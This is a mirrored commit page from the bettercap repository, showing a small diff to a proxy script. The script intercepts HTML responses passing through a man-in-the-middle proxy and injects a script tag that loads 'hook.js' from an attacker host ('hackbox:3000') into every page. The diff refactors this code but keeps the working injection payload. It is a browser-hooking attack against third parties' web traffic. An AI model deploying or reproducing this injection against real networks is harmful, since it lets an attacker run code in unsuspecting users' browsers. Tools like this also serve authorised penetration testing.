mirror of
https://github.com/bettercap/bettercap
synced 2025-08-14 02:36:57 -07:00
refact: several fixes and optimizations to the proxy
This commit is contained in:
parent
98d1a028ed
commit
7248dd701a
3 changed files with 28 additions and 13 deletions
|
@ -3,7 +3,14 @@ function onLoad() {
|
|||
}
|
||||
|
||||
function onResponse(req, res) {
|
||||
if( res.ContentType.indexOf("text/html") == 0 ){
|
||||
res.Body = res.ReadBody().replace( "</head>", '<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>' );
|
||||
if( res.ContentType.indexOf('text/html') == 0 ){
|
||||
var body = res.ReadBody();
|
||||
if( body.indexOf('</head>') != -1 ) {
|
||||
res.Body = body.replace(
|
||||
'</head>',
|
||||
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
|
||||
);
|
||||
res.Updated();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue